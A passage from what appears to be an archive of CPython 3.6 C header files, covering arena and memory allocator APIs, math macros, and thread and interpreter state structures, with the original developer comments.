exception is set; OTOH, if the internal XXX block_new(DEFAULT_BLOCK_SIZE) returns NULL, that's passed on but XXX an exception is not set in that case). */ PyAPI_FUNC(PyArena *) PyArena_New(void); PyAPI_FUNC(void) PyArena_Free(PyArena *); /* Mostly like malloc(), return the address of a block of memory spanning * `size` bytes, or return NULL (without setting an exception) if enough * new memory can't be obtained. Unlike malloc(0), PyArena_Malloc() with * size=0 does not guarantee to return a unique pointer (the pointer * returned may equal one or more other pointers obtained from * PyArena_Malloc()). * Note that pointers obtained via PyArena_Malloc() must never be passed to * the system free() or realloc(), or to any of Python's similar memory- * management functions. PyArena_Malloc()-obtained pointers remain valid * until PyArena_Free(ar) is called, at which point all pointers obtained * from the arena `ar` become invalid simultaneously. */ PyAPI_FUNC(void *) PyArena_Malloc(PyArena *, size_t size); /* This routine isn't a proper arena allocation routine. It takes * a PyObject* and records it so that it can be DECREFed when the * arena is freed. */ PyAPI_FUNC(int) PyArena_AddPyObject(PyArena *, PyObject *); #ifdef __cplusplus } #endif #endif /* !Py_PYARENA_H */ #endif /* Py_LIMITED_API */ python3.6m/pymath.h 0000644 00000020170 15246445047 0010157 0 ustar 00 #ifndef Py_PYMATH_H #define Py_PYMATH_H #include "pyconfig.h" /* include for defines */ /************************************************************************** Symbols and macros to supply platform-independent interfaces to mathematical functions and constants **************************************************************************/ /* Python provides implementations for copysign, round and hypot in * Python/pymath.c just in case your math library doesn't provide the * functions. * *Note: PC/pyconfig.h defines copysign as _copysign */ #ifndef HAVE_COPYSIGN extern double copysign(double, double); #endif #ifndef HAVE_ROUND extern double round(double); #endif #ifndef HAVE_HYPOT extern double hypot(double, double); #endif /* extra declarations */ #ifndef _MSC_VER #ifndef __STDC__ extern double fmod (double, double); extern double frexp (double, int *); extern double ldexp (double, int); extern double modf (double, double *); extern double pow(double, double); #endif /* __STDC__ */ #endif /* _MSC_VER */ /* High precision definition of pi and e (Euler) * The values are taken from libc6's math.h. */ #ifndef Py_MATH_PIl #define Py_MATH_PIl 3.1415926535897932384626433832795029L #endif #ifndef Py_MATH_PI #define Py_MATH_PI 3.14159265358979323846 #endif #ifndef Py_MATH_El #define Py_MATH_El 2.7182818284590452353602874713526625L #endif #ifndef Py_MATH_E #define Py_MATH_E 2.7182818284590452354 #endif /* Tau (2pi) to 40 digits, taken from tauday.com/tau-digits. */ #ifndef Py_MATH_TAU #define Py_MATH_TAU 6.2831853071795864769252867665590057683943L #endif /* On x86, Py_FORCE_DOUBLE forces a floating-point number out of an x87 FPU register and into a 64-bit memory location, rounding from extended precision to double precision in the process. On other platforms it does nothing. */ /* we take double rounding as evidence of x87 usage */ #ifndef Py_LIMITED_API #ifndef Py_FORCE_DOUBLE # ifdef X87_DOUBLE_ROUNDING PyAPI_FUNC(double) _Py_force_double(double); # define Py_FORCE_DOUBLE(X) (_Py_force_double(X)) # else # define Py_FORCE_DOUBLE(X) (X) # endif #endif #endif #ifndef Py_LIMITED_API #ifdef HAVE_GCC_ASM_FOR_X87 PyAPI_FUNC(unsigned short) _Py_get_387controlword(void); PyAPI_FUNC(void) _Py_set_387controlword(unsigned short); #endif #endif /* Py_IS_NAN(X) * Return 1 if float or double arg is a NaN, else 0. * Caution: * X is evaluated more than once. * This may not work on all platforms. Each platform has *some* * way to spell this, though -- override in pyconfig.h if you have * a platform where it doesn't work. * Note: PC/pyconfig.h defines Py_IS_NAN as _isnan */ #ifndef Py_IS_NAN #if defined HAVE_DECL_ISNAN && HAVE_DECL_ISNAN == 1 #define Py_IS_NAN(X) isnan(X) #else #define Py_IS_NAN(X) ((X) != (X)) #endif #endif /* Py_IS_INFINITY(X) * Return 1 if float or double arg is an infinity, else 0. * Caution: * X is evaluated more than once. * This implementation may set the underflow flag if |X| is very small; * it really can't be implemented correctly (& easily) before C99. * Override in pyconfig.h if you have a better spelling on your platform. * Py_FORCE_DOUBLE is used to avoid getting false negatives from a * non-infinite value v sitting in an 80-bit x87 register such that * v becomes infinite when spilled from the register to 64-bit memory. * Note: PC/pyconfig.h defines Py_IS_INFINITY as _isinf */ #ifndef Py_IS_INFINITY # if defined HAVE_DECL_ISINF && HAVE_DECL_ISINF == 1 # define Py_IS_INFINITY(X) isinf(X) # else # define Py_IS_INFINITY(X) ((X) && \ (Py_FORCE_DOUBLE(X)*0.5 == Py_FORCE_DOUBLE(X))) # endif #endif /* Py_IS_FINITE(X) * Return 1 if float or double arg is neither infinite nor NAN, else 0. * Some compilers (e.g. VisualStudio) have intrisics for this, so a special * macro for this particular test is useful * Note: PC/pyconfig.h defines Py_IS_FINITE as _finite */ #ifndef Py_IS_FINITE #if defined HAVE_DECL_ISFINITE && HAVE_DECL_ISFINITE == 1 #define Py_IS_FINITE(X) isfinite(X) #elif defined HAVE_FINITE #define Py_IS_FINITE(X) finite(X) #else #define Py_IS_FINITE(X) (!Py_IS_INFINITY(X) && !Py_IS_NAN(X)) #endif #endif /* HUGE_VAL is supposed to expand to a positive double infinity. Python * uses Py_HUGE_VAL instead because some platforms are broken in this * respect. We used to embed code in pyport.h to try to worm around that, * but different platforms are broken in conflicting ways. If you're on * a platform where HUGE_VAL is defined incorrectly, fiddle your Python * config to #define Py_HUGE_VAL to something that works on your platform. */ #ifndef Py_HUGE_VAL #define Py_HUGE_VAL HUGE_VAL #endif /* Py_NAN * A value that evaluates to a NaN. On IEEE 754 platforms INF*0 or * INF/INF works. Define Py_NO_NAN in pyconfig.h if your platform * doesn't support NaNs. */ #if !defined(Py_NAN) && !defined(Py_NO_NAN) #if !defined(__INTEL_COMPILER) #define Py_NAN (Py_HUGE_VAL * 0.) #else /* __INTEL_COMPILER */ #if defined(ICC_NAN_STRICT) #pragma float_control(push) #pragma float_control(precise, on) #pragma float_control(except, on) #if defined(_MSC_VER) __declspec(noinline) #else /* Linux */ __attribute__((noinline)) #endif /* _MSC_VER */ static double __icc_nan() { return sqrt(-1.0); } #pragma float_control (pop) #define Py_NAN __icc_nan() #else /* ICC_NAN_RELAXED as default for Intel Compiler */ static const union { unsigned char buf[8]; double __icc_nan; } __nan_store = {0,0,0,0,0,0,0xf8,0x7f}; #define Py_NAN (__nan_store.__icc_nan) #endif /* ICC_NAN_STRICT */ #endif /* __INTEL_COMPILER */ #endif /* Py_OVERFLOWED(X) * Return 1 iff a libm function overflowed. Set errno to 0 before calling * a libm function, and invoke this macro after, passing the function * result. * Caution: * This isn't reliable. C99 no longer requires libm to set errno under * any exceptional condition, but does require +- HUGE_VAL return * values on overflow. A 754 box *probably* maps HUGE_VAL to a * double infinity, and we're cool if that's so, unless the input * was an infinity and an infinity is the expected result. A C89 * system sets errno to ERANGE, so we check for that too. We're * out of luck if a C99 754 box doesn't map HUGE_VAL to +Inf, or * if the returned result is a NaN, or if a C89 box returns HUGE_VAL * in non-overflow cases. * X is evaluated more than once. * Some platforms have better way to spell this, so expect some #ifdef'ery. * * OpenBSD uses 'isinf()' because a compiler bug on that platform causes * the longer macro version to be mis-compiled. This isn't optimal, and * should be removed once a newer compiler is available on that platform. * The system that had the failure was running OpenBSD 3.2 on Intel, with * gcc 2.95.3. * * According to Tim's checkin, the FreeBSD systems use isinf() to work * around a FPE bug on that platform. */ #if defined(__FreeBSD__) || defined(__OpenBSD__) #define Py_OVERFLOWED(X) isinf(X) #else #define Py_OVERFLOWED(X) ((X) != 0.0 && (errno == ERANGE || \ (X) == Py_HUGE_VAL || \ (X) == -Py_HUGE_VAL)) #endif /* Return whether integral type *type* is signed or not. */ #define _Py_IntegralTypeSigned(type) ((type)(-1) < 0) /* Return the maximum value of integral type *type*. */ #define _Py_IntegralTypeMax(type) ((_Py_IntegralTypeSigned(type)) ? (((((type)1 << (sizeof(type)*CHAR_BIT - 2)) - 1) << 1) + 1) : ~(type)0) /* Return the minimum value of integral type *type*. */ #define _Py_IntegralTypeMin(type) ((_Py_IntegralTypeSigned(type)) ? -_Py_IntegralTypeMax(type) - 1 : 0) /* Check whether *v* is in the range of integral type *type*. This is most * useful if *v* is floating-point, since demoting a floating-point *v* to an * integral type that cannot represent *v*'s integral part is undefined * behavior. */ #define _Py_InIntegralTypeRange(type, v) (_Py_IntegralTypeMin(type) <= v && v <= _Py_IntegralTypeMax(type)) #endif /* Py_PYMATH_H */ python3.6m/namespaceobject.h 0000644 00000000535 15246445047 0012003 0 ustar 00 /* simple namespace object interface */ #ifndef NAMESPACEOBJECT_H #define NAMESPACEOBJECT_H #ifdef __cplusplus extern "C" { #endif #ifndef Py_LIMITED_API PyAPI_DATA(PyTypeObject) _PyNamespace_Type; PyAPI_FUNC(PyObject *) _PyNamespace_New(PyObject *kwds); #endif /* !Py_LIMITED_API */ #ifdef __cplusplus } #endif #endif /* !NAMESPACEOBJECT_H */ python3.6m/pymem.h 0000644 00000020555 15246445047 0010013 0 ustar 00 /* The PyMem_ family: low-level memory allocation interfaces. See objimpl.h for the PyObject_ memory family. */ #ifndef Py_PYMEM_H #define Py_PYMEM_H #include "pyport.h" #ifdef __cplusplus extern "C" { #endif #ifndef Py_LIMITED_API PyAPI_FUNC(void *) PyMem_RawMalloc(size_t size); PyAPI_FUNC(void *) PyMem_RawCalloc(size_t nelem, size_t elsize); PyAPI_FUNC(void *) PyMem_RawRealloc(void *ptr, size_t new_size); PyAPI_FUNC(void) PyMem_RawFree(void *ptr); /* Configure the Python memory allocators. Pass NULL to use default allocators. */ PyAPI_FUNC(int) _PyMem_SetupAllocators(const char *opt); #ifdef WITH_PYMALLOC PyAPI_FUNC(int) _PyMem_PymallocEnabled(void); #endif /* Identifier of an address space (domain) in tracemalloc */ typedef unsigned int _PyTraceMalloc_domain_t; /* Track an allocated memory block in the tracemalloc module. Return 0 on success, return -1 on error (failed to allocate memory to store the trace). Return -2 if tracemalloc is disabled. If memory block is already tracked, update the existing trace. */ PyAPI_FUNC(int) _PyTraceMalloc_Track( _PyTraceMalloc_domain_t domain, uintptr_t ptr, size_t size); /* Untrack an allocated memory block in the tracemalloc module. Do nothing if the block was not tracked. Return -2 if tracemalloc is disabled, otherwise return 0. */ PyAPI_FUNC(int) _PyTraceMalloc_Untrack( _PyTraceMalloc_domain_t domain, uintptr_t ptr); /* Get the traceback where a memory block was allocated. Return a tuple of (filename: str, lineno: int) tuples. Return None if the tracemalloc module is disabled or if the memory block is not tracked by tracemalloc. Raise an exception and return NULL on error. */ PyAPI_FUNC(PyObject*) _PyTraceMalloc_GetTraceback( _PyTraceMalloc_domain_t domain, uintptr_t ptr); PyAPI_FUNC(int) _PyMem_IsFreed(void *ptr, size_t size); #endif /* !defined(Py_LIMITED_API) */ /* BEWARE: Each interface exports both functions and macros. Extension modules should use the functions, to ensure binary compatibility across Python versions. Because the Python implementation is free to change internal details, and the macros may (or may not) expose details for speed, if you do use the macros you must recompile your extensions with each Python release. Never mix calls to PyMem_ with calls to the platform malloc/realloc/ calloc/free. For example, on Windows different DLLs may end up using different heaps, and if you use PyMem_Malloc you'll get the memory from the heap used by the Python DLL; it could be a disaster if you free()'ed that directly in your own extension. Using PyMem_Free instead ensures Python can return the memory to the proper heap. As another example, in PYMALLOC_DEBUG mode, Python wraps all calls to all PyMem_ and PyObject_ memory functions in special debugging wrappers that add additional debugging info to dynamic memory blocks. The system routines have no idea what to do with that stuff, and the Python wrappers have no idea what to do with raw blocks obtained directly by the system routines then. The GIL must be held when using these APIs. */ /* * Raw memory interface * ==================== */ /* Functions Functions supplying platform-independent semantics for malloc/realloc/ free. These functions make sure that allocating 0 bytes returns a distinct non-NULL pointer (whenever possible -- if we're flat out of memory, NULL may be returned), even if the platform malloc and realloc don't. Returned pointers must be checked for NULL explicitly. No action is performed on failure (no exception is set, no warning is printed, etc). */ PyAPI_FUNC(void *) PyMem_Malloc(size_t size); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03050000 PyAPI_FUNC(void *) PyMem_Calloc(size_t nelem, size_t elsize); #endif PyAPI_FUNC(void *) PyMem_Realloc(void *ptr, size_t new_size); PyAPI_FUNC(void) PyMem_Free(void *ptr); #ifndef Py_LIMITED_API PyAPI_FUNC(char *) _PyMem_RawStrdup(const char *str); PyAPI_FUNC(char *) _PyMem_Strdup(const char *str); #endif /* Macros. */ /* PyMem_MALLOC(0) means malloc(1). Some systems would return NULL for malloc(0), which would be treated as an error. Some platforms would return a pointer with no memory behind it, which would break pymalloc. To solve these problems, allocate an extra byte. */ /* Returns NULL to indicate error if a negative size or size larger than Py_ssize_t can represent is supplied. Helps prevents security holes. */ #define PyMem_MALLOC(n) PyMem_Malloc(n) #define PyMem_REALLOC(p, n) PyMem_Realloc(p, n) #define PyMem_FREE(p) PyMem_Free(p) /* * Type-oriented memory interface * ============================== * * Allocate memory for n objects of the given type. Returns a new pointer * or NULL if the request was too large or memory allocation failed. Use * these macros rather than doing the multiplication yourself so that proper * overflow checking is always done. */ #define PyMem_New(type, n) \ ( ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL : \ ( (type *) PyMem_Malloc((n) * sizeof(type)) ) ) #define PyMem_NEW(type, n) \ ( ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL : \ ( (type *) PyMem_MALLOC((n) * sizeof(type)) ) ) /* * The value of (p) is always clobbered by this macro regardless of success. * The caller MUST check if (p) is NULL afterwards and deal with the memory * error if so. This means the original value of (p) MUST be saved for the * caller's memory error handler to not lose track of it. */ #define PyMem_Resize(p, type, n) \ ( (p) = ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL : \ (type *) PyMem_Realloc((p), (n) * sizeof(type)) ) #define PyMem_RESIZE(p, type, n) \ ( (p) = ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL : \ (type *) PyMem_REALLOC((p), (n) * sizeof(type)) ) /* PyMem{Del,DEL} are left over from ancient days, and shouldn't be used * anymore. They're just confusing aliases for PyMem_{Free,FREE} now. */ #define PyMem_Del PyMem_Free #define PyMem_DEL PyMem_FREE #ifndef Py_LIMITED_API typedef enum { /* PyMem_RawMalloc(), PyMem_RawRealloc() and PyMem_RawFree() */ PYMEM_DOMAIN_RAW, /* PyMem_Malloc(), PyMem_Realloc() and PyMem_Free() */ PYMEM_DOMAIN_MEM, /* PyObject_Malloc(), PyObject_Realloc() and PyObject_Free() */ PYMEM_DOMAIN_OBJ } PyMemAllocatorDomain; typedef struct { /* user context passed as the first argument to the 4 functions */ void *ctx; /* allocate a memory block */ void* (*malloc) (void *ctx, size_t size); /* allocate a memory block initialized by zeros */ void* (*calloc) (void *ctx, size_t nelem, size_t elsize); /* allocate or resize a memory block */ void* (*realloc) (void *ctx, void *ptr, size_t new_size); /* release a memory block */ void (*free) (void *ctx, void *ptr); } PyMemAllocatorEx; /* Get the memory block allocator of the specified domain. */ PyAPI_FUNC(void) PyMem_GetAllocator(PyMemAllocatorDomain domain, PyMemAllocatorEx *allocator); /* Set the memory block allocator of the specified domain. The new allocator must return a distinct non-NULL pointer when requesting zero bytes. For the PYMEM_DOMAIN_RAW domain, the allocator must be thread-safe: the GIL is not held when the allocator is called. If the new allocator is not a hook (don't call the previous allocator), the PyMem_SetupDebugHooks() function must be called to reinstall the debug hooks on top on the new allocator. */ PyAPI_FUNC(void) PyMem_SetAllocator(PyMemAllocatorDomain domain, PyMemAllocatorEx *allocator); /* Setup hooks to detect bugs in the following Python memory allocator functions: - PyMem_RawMalloc(), PyMem_RawRealloc(), PyMem_RawFree() - PyMem_Malloc(), PyMem_Realloc(), PyMem_Free() - PyObject_Malloc(), PyObject_Realloc() and PyObject_Free() Newly allocated memory is filled with the byte 0xCB, freed memory is filled with the byte 0xDB. Additionnal checks: - detect API violations, ex: PyObject_Free() called on a buffer allocated by PyMem_Malloc() - detect write before the start of the buffer (buffer underflow) - detect write after the end of the buffer (buffer overflow) The function does nothing if Python is not compiled is debug mode. */ PyAPI_FUNC(void) PyMem_SetupDebugHooks(void); #endif #ifdef __cplusplus } #endif #endif /* !Py_PYMEM_H */ python3.6m/pystate.h 0000644 00000025612 15246445047 0010354 0 ustar 00 /* Thread and interpreter state structures and their interfaces */ #ifndef Py_PYSTATE_H #define Py_PYSTATE_H #ifdef __cplusplus extern "C" { #endif /* This limitation is for performance and simplicity. If needed it can be removed (with effort). */ #define MAX_CO_EXTRA_USERS 255 /* State shared between threads */ struct _ts; /* Forward */ struct _is; /* Forward */ struct _frame; /* Forward declaration for PyFrameObject. */ #ifdef Py_LIMITED_API typedef struct _is PyInterpreterState; #else typedef PyObject* (*_PyFrameEvalFunction)(struct _frame *, int); typedef struct _is { struct _is *next; struct _ts *tstate_head; PyObject *modules; PyObject *modules_by_index; PyObject *sysdict; PyObject *builtins; PyObject *importlib; PyObject *codec_search_path; PyObject *codec_search_cache; PyObject *codec_error_registry; int codecs_initialized; int fscodec_initialized; #ifdef HAVE_DLOPEN int dlopenflags; #endif PyObject *builtins_copy; PyObject *import_func; /* Initialized to PyEval_EvalFrameDefault(). */ _PyFrameEvalFunction eval_frame; } PyInterpreterState; #endif typedef struct _co_extra_state { struct _co_extra_state *next; PyInterpreterState* interp; Py_ssize_t co_extra_user_count; freefunc co_extra_freefuncs[MAX_CO_EXTRA_USERS]; } __PyCodeExtraState; /* This is temporary for backwards compat in 3.6 and will be removed in 3.7 */ __PyCodeExtraState* __PyCodeExtraState_Get(void); /* State unique per thread */ #ifndef Py_LIMITED_API /* Py_tracefunc return -1 when raising an exception, or 0 for success. */ typedef int (*Py_tracefunc)(PyObject *, struct _frame *, int, PyObject *); /* The following values are used for 'what' for tracefunc functions: */ #define PyTrace_CALL 0 #define PyTrace_EXCEPTION 1 #define PyTrace_LINE 2 #define PyTrace_RETURN 3 #define PyTrace_C_CALL 4 #define PyTrace_C_EXCEPTION 5 #define PyTrace_C_RETURN 6 #endif #ifdef Py_LIMITED_API typedef struct _ts PyThreadState; #else typedef struct _ts { /* See Python/ceval.c for comments explaining most fields */ struct _ts *prev; struct _ts *next; PyInterpreterState *interp; struct _frame *frame; int recursion_depth; char overflowed; /* The stack has overflowed. Allow 50 more calls to handle the runtime error. */ char recursion_critical; /* The current calls must not cause a stack overflow. */ /* 'tracing' keeps track of the execution depth when tracing/profiling. This is to prevent the actual trace/profile code from being recorded in the trace/profile. */ int tracing; int use_tracing; Py_tracefunc c_profilefunc; Py_tracefunc c_tracefunc; PyObject *c_profileobj; PyObject *c_traceobj; PyObject *curexc_type; PyObject *curexc_value; PyObject *curexc_traceback; PyObject *exc_type; PyObject *exc_value; PyObject *exc_traceback; PyObject *dict; /* Stores per-thread state */ int gilstate_counter; PyObject *async_exc; /* Asynchronous exception to raise */ long thread_id; /* Thread id where this tstate was created */ int trash_delete_nesting; PyObject *trash_delete_later; /* Called when a thread state is deleted normally, but not when it * is destroyed after fork(). * Pain: to prevent rare but fatal shutdown errors (issue 18808), * Thread.join() must wait for the join'ed thread's tstate to be unlinked * from the tstate chain. That happens at the end of a thread's life, * in pystate.c. * The obvious way doesn't quite work: create a lock which the tstate * unlinking code releases, and have Thread.join() wait to acquire that * lock. The problem is that we _are_ at the end of the thread's life: * if the thread holds the last reference to the lock, decref'ing the * lock will delete the lock, and that may trigger arbitrary Python code * if there's a weakref, with a callback, to the lock. But by this time * _PyThreadState_Current is already NULL, so only the simplest of C code * can be allowed to run (in particular it must not be possible to * release the GIL). * So instead of holding the lock directly, the tstate holds a weakref to * the lock: that's the value of on_delete_data below. Decref'ing a * weakref is harmless. * on_delete points to _threadmodule.c's static release_sentinel() function. * After the tstate is unlinked, release_sentinel is called with the * weakref-to-lock (on_delete_data) argument, and release_sentinel releases * the indirectly held lock. */ void (*on_delete)(void *); void *on_delete_data; PyObject *coroutine_wrapper; int in_coroutine_wrapper; /* Now used from PyInterpreterState, kept here for ABI compatibility with PyThreadState */ Py_ssize_t _preserve_36_ABI_1; freefunc _preserve_36_ABI_2[MAX_CO_EXTRA_USERS]; PyObject *async_gen_firstiter; PyObject *async_gen_finalizer; /* XXX signal handlers should also be here */ } PyThreadState; #endif PyAPI_FUNC(PyInterpreterState *) PyInterpreterState_New(void); PyAPI_FUNC(void) PyInterpreterState_Clear(PyInterpreterState *); PyAPI_FUNC(void) PyInterpreterState_Delete(PyInterpreterState *); #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyState_AddModule(PyObject*, struct PyModuleDef*); #endif /* !Py_LIMITED_API */ #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 /* New in 3.3 */ PyAPI_FUNC(int) PyState_AddModule(PyObject*, struct PyModuleDef*); PyAPI_FUNC(int) PyState_RemoveModule(struct PyModuleDef*); #endif PyAPI_FUNC(PyObject*) PyState_FindModule(struct PyModuleDef*); #ifndef Py_LIMITED_API PyAPI_FUNC(void) _PyState_ClearModules(void); #endif PyAPI_FUNC(PyThreadState *) PyThreadState_New(PyInterpreterState *); #ifndef Py_LIMITED_API PyAPI_FUNC(PyThreadState *) _PyThreadState_Prealloc(PyInterpreterState *); PyAPI_FUNC(void) _PyThreadState_Init(PyThreadState *); #endif /* !Py_LIMITED_API */ PyAPI_FUNC(void) PyThreadState_Clear(PyThreadState *); PyAPI_FUNC(void) PyThreadState_Delete(PyThreadState *); #ifndef Py_LIMITED_API PyAPI_FUNC(void) _PyThreadState_DeleteExcept(PyThreadState *tstate); #endif /* !Py_LIMITED_API */ #ifdef WITH_THREAD PyAPI_FUNC(void) PyThreadState_DeleteCurrent(void); #ifndef Py_LIMITED_API PyAPI_FUNC(void) _PyGILState_Reinit(void); #endif /* !Py_LIMITED_API */ #endif /* Return the current thread state. The global interpreter lock must be held. * When the current thread state is NULL, this issues a fatal error (so that * the caller needn't check for NULL). */ PyAPI_FUNC(PyThreadState *) PyThreadState_Get(void); #ifndef Py_LIMITED_API /* Similar to PyThreadState_Get(), but don't issue a fatal error * if it is NULL. */ PyAPI_FUNC(PyThreadState *) _PyThreadState_UncheckedGet(void); #endif /* !Py_LIMITED_API */ PyAPI_FUNC(PyThreadState *) PyThreadState_Swap(PyThreadState *); PyAPI_FUNC(PyObject *) PyThreadState_GetDict(void); PyAPI_FUNC(int) PyThreadState_SetAsyncExc(long, PyObject *); /* Variable and macro for in-line access to current thread state */ /* Assuming the current thread holds the GIL, this is the PyThreadState for the current thread. */ #ifdef Py_BUILD_CORE PyAPI_DATA(_Py_atomic_address) _PyThreadState_Current; # define PyThreadState_GET() \ ((PyThreadState*)_Py_atomic_load_relaxed(&_PyThreadState_Current)) #else # define PyThreadState_GET() PyThreadState_Get() #endif typedef enum {PyGILState_LOCKED, PyGILState_UNLOCKED} PyGILState_STATE; #ifdef WITH_THREAD /* Ensure that the current thread is ready to call the Python C API, regardless of the current state of Python, or of its thread lock. This may be called as many times as desired by a thread so long as each call is matched with a call to PyGILState_Release(). In general, other thread-state APIs may be used between _Ensure() and _Release() calls, so long as the thread-state is restored to its previous state before the Release(). For example, normal use of the Py_BEGIN_ALLOW_THREADS/ Py_END_ALLOW_THREADS macros are acceptable. The return value is an opaque "handle" to the thread state when PyGILState_Ensure() was called, and must be passed to PyGILState_Release() to ensure Python is left in the same state. Even though recursive calls are allowed, these handles can *not* be shared - each unique call to PyGILState_Ensure must save the handle for its call to PyGILState_Release. When the function returns, the current thread will hold the GIL. Failure is a fatal error. */ PyAPI_FUNC(PyGILState_STATE) PyGILState_Ensure(void); /* Release any resources previously acquired. After this call, Python's state will be the same as it was prior to the corresponding PyGILState_Ensure() call (but generally this state will be unknown to the caller, hence the use of the GILState API.) Every call to PyGILState_Ensure must be matched by a call to PyGILState_Release on the same thread. */ PyAPI_FUNC(void) PyGILState_Release(PyGILState_STATE); /* Helper/diagnostic function - get the current thread state for this thread. May return NULL if no GILState API has been used on the current thread. Note that the main thread always has such a thread-state, even if no auto-thread-state call has been made on the main thread. */ PyAPI_FUNC(PyThreadState *) PyGILState_GetThisThreadState(void); #ifndef Py_LIMITED_API /* Issue #26558: Flag to disable PyGILState_Check(). If set to non-zero, PyGILState_Check() always return 1. */ PyAPI_DATA(int) _PyGILState_check_enabled; /* Helper/diagnostic function - return 1 if the current thread currently holds the GIL, 0 otherwise. The function returns 1 if _PyGILState_check_enabled is non-zero. */ PyAPI_FUNC(int) PyGILState_Check(void); /* Unsafe function to get the single PyInterpreterState used by this process' GILState implementation. Return NULL before _PyGILState_Init() is called and after _PyGILState_Fini() is called. */ PyAPI_FUNC(PyInterpreterState *) _PyGILState_GetInterpreterStateUnsafe(void); #endif #endif /* #ifdef WITH_THREAD */ /* The implementation of sys._current_frames() Returns a dict mapping thread id to that thread's current frame. */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyThread_CurrentFrames(void); #endif /* Routines for advanced debuggers, requested by David Beazley. Don't use unless you know what you are doing! */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyInterpreterState *) PyInterpreterState_Head(void); PyAPI_FUNC(PyInterpreterState *) PyInterpreterState_Next(PyInterpreterState *); PyAPI_FUNC(PyThreadState *) PyInterpreterState_ThreadHead(PyInterpreterState *); PyAPI_FUNC(PyThreadState *) PyThreadState_Next(PyThreadState *); typedef struct _frame *(*PyThreadFrameGetter)(PyThreadState *self_); #endif /* hook for PyEval_GetFrame(), requested for Psyco */ #ifndef Py_LIMITED_API PyAPI_DATA(PyThreadFrameGetter) _PyThreadState_GetFrame; #endif #ifdef __cplusplus } #endif #endif /* !Py_PYSTATE_H */ python3.6m/boolobject.h 0000644 00000001566 15246445047 0011007 0 ustar 00 /* Boolean object interface */ #ifndef Py_BOOLOBJECT_H #define Py_BOOLOBJECT_H #ifdef __cplusplus extern "C" { #endif PyAPI_DATA(PyTypeObject) PyBool_Type; #define PyBool_Check(x) (Py_TYPE(x) == &PyBool_Type) /* Py_False and Py_True are the only two bools in existence. Don't forget to apply Py_INCREF() when returning either!!! */ /* Don't use these directly */ PyAPI_DATA(struct _longobject) _Py_FalseStruct, _Py_TrueStruct; /* Use these macros */ #define Py_False ((PyObject *) &_Py_FalseStruct) #define Py_True ((PyObject *) &_Py_TrueStruct) /* Macros for returning Py_True or Py_False, respectively */ #define Py_RETURN_TRUE return Py_INCREF(Py_True), Py_True #define Py_RETURN_FALSE return Py_INCREF(Py_False), Py_False /* Function to return a bool from a C long */ PyAPI_FUNC(PyObject *) PyBool_FromLong(long); #ifdef __cplusplus } #endif #endif /* !Py_BOOLOBJECT_H */ python3.6m/pgenheaders.h 0000644 00000002234 15246445047 0011143 0 ustar 00 #ifndef Py_PGENHEADERS_H #define Py_PGENHEADERS_H #ifdef __cplusplus extern "C" { #endif /* Include files and extern declarations used by most of the parser. */ #include "Python.h" PyAPI_FUNC(void) PySys_WriteStdout(const char *format, ...) Py_GCC_ATTRIBUTE((format(printf, 1, 2))); PyAPI_FUNC(void) PySys_WriteStderr(const char *format, ...) Py_GCC_ATTRIBUTE((format(printf, 1, 2))); #define addarc _Py_addarc #define addbit _Py_addbit #define adddfa _Py_adddfa #define addfirstsets _Py_addfirstsets #define addlabel _Py_addlabel #define addstate _Py_addstate #define delbitset _Py_delbitset #define dumptree _Py_dumptree #define findlabel _Py_findlabel #define freegrammar _Py_freegrammar #define mergebitset _Py_mergebitset #define meta_grammar _Py_meta_grammar #define newbitset _Py_newbitset #define newgrammar _Py_newgrammar #define pgen _Py_pgen #define printgrammar _Py_printgrammar #define printnonterminals _Py_printnonterminals #define printtree _Py_printtree #define samebitset _Py_samebitset #define showtree _Py_showtree #define tok_dump _Py_tok_dump #define translatelabels _Py_translatelabels #ifdef __cplusplus } #endif #endif /* !Py_PGENHEADERS_H */ python3.6m/pylifecycle.h 0000644 00000007756 15246445047 0011204 0 ustar 00 /* Interfaces to configure, query, create & destroy the Python runtime */ #ifndef Py_PYLIFECYCLE_H #define Py_PYLIFECYCLE_H #ifdef __cplusplus extern "C" { #endif PyAPI_FUNC(void) Py_SetProgramName(wchar_t *); PyAPI_FUNC(wchar_t *) Py_GetProgramName(void); PyAPI_FUNC(void) Py_SetPythonHome(wchar_t *); PyAPI_FUNC(wchar_t *) Py_GetPythonHome(void); #ifndef Py_LIMITED_API /* Only used by applications that embed the interpreter and need to * override the standard encoding determination mechanism */ PyAPI_FUNC(int) Py_SetStandardStreamEncoding(const char *encoding, const char *errors); #endif PyAPI_FUNC(void) Py_Initialize(void); PyAPI_FUNC(void) Py_InitializeEx(int); #ifndef Py_LIMITED_API PyAPI_FUNC(void) _Py_InitializeEx_Private(int, int); #endif PyAPI_FUNC(void) Py_Finalize(void); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03060000 PyAPI_FUNC(int) Py_FinalizeEx(void); #endif PyAPI_FUNC(int) Py_IsInitialized(void); PyAPI_FUNC(PyThreadState *) Py_NewInterpreter(void); PyAPI_FUNC(void) Py_EndInterpreter(PyThreadState *); /* Py_PyAtExit is for the atexit module, Py_AtExit is for low-level * exit functions. */ #ifndef Py_LIMITED_API PyAPI_FUNC(void) _Py_PyAtExit(void (*func)(void)); #endif PyAPI_FUNC(int) Py_AtExit(void (*func)(void)); PyAPI_FUNC(void) Py_Exit(int); /* Restore signals that the interpreter has called SIG_IGN on to SIG_DFL. */ #ifndef Py_LIMITED_API PyAPI_FUNC(void) _Py_RestoreSignals(void); PyAPI_FUNC(int) Py_FdIsInteractive(FILE *, const char *); #endif /* Bootstrap __main__ (defined in Modules/main.c) */ PyAPI_FUNC(int) Py_Main(int argc, wchar_t **argv); /* In getpath.c */ PyAPI_FUNC(wchar_t *) Py_GetProgramFullPath(void); PyAPI_FUNC(wchar_t *) Py_GetPrefix(void); PyAPI_FUNC(wchar_t *) Py_GetExecPrefix(void); PyAPI_FUNC(wchar_t *) Py_GetPath(void); PyAPI_FUNC(void) Py_SetPath(const wchar_t *); #ifdef MS_WINDOWS int _Py_CheckPython3(); #endif /* In their own files 